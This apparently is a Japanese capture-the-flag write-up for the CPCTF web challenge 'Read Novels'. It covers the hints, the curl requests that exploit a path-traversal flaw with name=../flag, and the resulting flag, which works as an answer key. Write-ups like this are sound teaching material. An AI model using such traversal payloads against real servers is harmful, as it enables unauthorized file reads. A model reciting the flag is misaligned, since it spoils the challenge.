Skip to content

Latest commit

 

History

History

Read_Novels

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Read Novels:Web:50.00pts

小説が読めるサイトを見つけたぞ!
これ小説以外も見れるじゃん...
サイト:https://read-novels.web.cpctf.space
配布ファイル:https://files.cpctf.space/read-novels.zip

Hint1
app.pyをよく読んでみましょう。filepathに小説以外のファイルを入れるにはどうしたらよいでしょうか?
Hint2
パストラバーサル攻撃を行うことで、本来想定されていないファイルパスを開くことが出来るようになります。
Hint3 (解法)
filepath./novel/../flagにするために、https://read-novels.web.cpctf.space/novel?name=../flag に GET リクエストを飛ばしてみましょう。

Solution

URLとソースが渡される。
アクセスすると、小説が読めるようだ。
site.png
リンクのURLクエリnameに小説名が指定されており、パストラバーサルが怪しい。

$ curl 'https://read-novels.web.cpctf.space/novel?name=sanshiro'
<!DOCTYPE html>
<html>
  <head>
    <title>sanshiro</title>
    <style></style>
  </head>
  <body style="white-space: pre-wrap">
    <h1>sanshiro</h1>
    三四郎
夏目漱石
~~~

一つ上にたどってみる。

$ curl 'https://read-novels.web.cpctf.space/novel?name=../flag'
<!DOCTYPE html>
<html>
  <head>
    <title>../flag</title>
    <style></style>
  </head>
  <body style="white-space: pre-wrap">
    <h1>../flag</h1>
    CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}
  </body>
</html>

flagが得られた(実は開催前にドメインが見えておりflagが取得できていた)。

CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}